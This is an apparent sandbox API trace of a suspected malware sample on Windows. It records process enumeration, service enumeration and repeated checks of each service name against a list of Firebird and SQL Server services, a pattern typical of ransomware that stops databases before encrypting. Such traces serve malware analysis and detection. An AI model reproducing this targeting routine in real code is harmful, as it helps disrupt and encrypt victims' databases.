	[0181.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0181.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0181.218] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0181.218] lstrlenW (lpString="SysMain") returned 7
	[0181.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0181.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0181.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0181.218] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0181.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0181.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0181.218] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0181.218] lstrlenW (lpString="Themes") returned 6
	[0181.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0181.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0181.218] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0181.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0181.219] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0181.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0181.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0181.219] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0181.219] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0181.219] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x41eb8d0 | out: hHeap=0x5a0000) returned 1
	[0181.219] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3dc
	[0181.384] Process32FirstW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0181.403] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0181.404] lstrlenW (lpString="System") returned 6
	[0181.404] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0181.406] lstrlenW (lpString="smss.exe") returned 8
	[0181.406] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0181.409] lstrlenW (lpString="csrss.exe") returned 9
	[0181.409] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0181.413] lstrlenW (lpString="wininit.exe") returned 11
	[0181.413] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0181.414] lstrlenW (lpString="csrss.exe") returned 9
	[0181.414] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0181.414] lstrlenW (lpString="winlogon.exe") returned 12
	[0181.414] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0181.415] lstrlenW (lpString="services.exe") returned 12
	[0181.415] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0181.415] lstrlenW (lpString="lsass.exe") returned 9
	[0181.415] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0181.416] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0181.416] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0181.416] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0181.416] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.416] lstrlenW (lpString="svchost.exe") returned 11
	[0181.416] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.417] lstrlenW (lpString="svchost.exe") returned 11
	[0181.417] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0181.417] lstrlenW (lpString="dwm.exe") returned 7
	[0181.417] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.418] lstrlenW (lpString="svchost.exe") returned 11
	[0181.418] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.418] lstrlenW (lpString="svchost.exe") returned 11
	[0181.418] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.419] lstrlenW (lpString="svchost.exe") returned 11
	[0181.419] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.419] lstrlenW (lpString="svchost.exe") returned 11
	[0181.419] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.419] lstrlenW (lpString="svchost.exe") returned 11
	[0181.419] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.420] lstrlenW (lpString="svchost.exe") returned 11
	[0181.420] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.420] lstrlenW (lpString="svchost.exe") returned 11
	[0181.420] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.421] lstrlenW (lpString="svchost.exe") returned 11
	[0181.421] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.421] lstrlenW (lpString="svchost.exe") returned 11
	[0181.421] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.422] lstrlenW (lpString="svchost.exe") returned 11
	[0181.422] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0181.422] lstrlenW (lpString="spoolsv.exe") returned 11
	[0181.422] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.422] lstrlenW (lpString="svchost.exe") returned 11
	[0181.422] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0181.423] lstrlenW (lpString="audiodg.exe") returned 11
	[0181.423] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0181.423] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0181.423] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0181.424] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0181.424] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0181.424] lstrlenW (lpString="Memory Compression") returned 18
	[0181.424] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0181.425] lstrlenW (lpString="sihost.exe") returned 10
	[0181.425] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0181.425] lstrlenW (lpString="svchost.exe") returned 11
	[0181.425] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.425] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.426] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0181.426] lstrlenW (lpString="taskhostw.exe") returned 13
	[0181.426] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0181.426] lstrlenW (lpString="explorer.exe") returned 12
	[0181.426] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0181.427] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0181.427] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0181.427] lstrlenW (lpString="SearchUI.exe") returned 12
	[0181.427] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0181.428] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0181.428] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0181.428] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0181.428] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fvppjh.exe")) returned 1
	[0181.428] lstrlenW (lpString="fvppjh.exe") returned 10
	[0181.429] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0181.429] lstrlenW (lpString="dllhost.exe") returned 11
	[0181.429] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0181.429] lstrlenW (lpString="dllhost.exe") returned 11
	[0181.429] Process32NextW (in: hSnapshot=0x3dc, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0
	[0181.430] CloseHandle (hObject=0x3dc) returned 1
	[0181.430] Sleep (dwMilliseconds=0x1f4) 
	[0182.274] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41c0930
	[0182.293] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 0
	[0182.296] GetLastError () returned 0xea
	[0182.296] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1bc4) returned 0x41eb8d0
	[0182.297] EnumServicesStatusExW (in: hSCManager=0x41c0930, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41eb8d0, cbBufSize=0x1bc4, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41eb8d0, pcbBytesNeeded=0x250ff3c, lpServicesReturned=0x250ff54, lpResumeHandle=0x0) returned 1
	[0182.304] CloseServiceHandle (hSCObject=0x41c0930) returned 1
	[0182.307] lstrlenW (lpString="Appinfo") returned 7
	[0182.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0182.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0182.307] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0182.307] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0182.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0182.307] lstrlenW (lpString="AppXSvc") returned 7
	[0182.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0182.307] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0182.307] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0182.307] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0182.307] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0182.307] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0182.307] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0182.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0182.308] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0182.308] lstrlenW (lpString="Audiosrv") returned 8
	[0182.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0182.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0182.308] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0182.308] lstrlenW (lpString="BFE") returned 3
	[0182.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0182.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0182.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0182.308] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0182.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0182.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0182.308] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0182.308] lstrlenW (lpString="CDPSvc") returned 6
	[0182.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0182.308] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0182.308] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0182.308] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0182.308] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0182.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0182.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0182.309] lstrlenW (lpString="CryptSvc") returned 8
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0182.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0182.309] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0182.309] lstrlenW (lpString="DcomLaunch") returned 10
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0182.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0182.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0182.309] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0182.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0182.309] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0182.309] lstrlenW (lpString="Dhcp") returned 4
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0182.309] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0182.309] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0182.309] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0182.309] lstrlenW (lpString="Dnscache") returned 8
	[0182.309] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
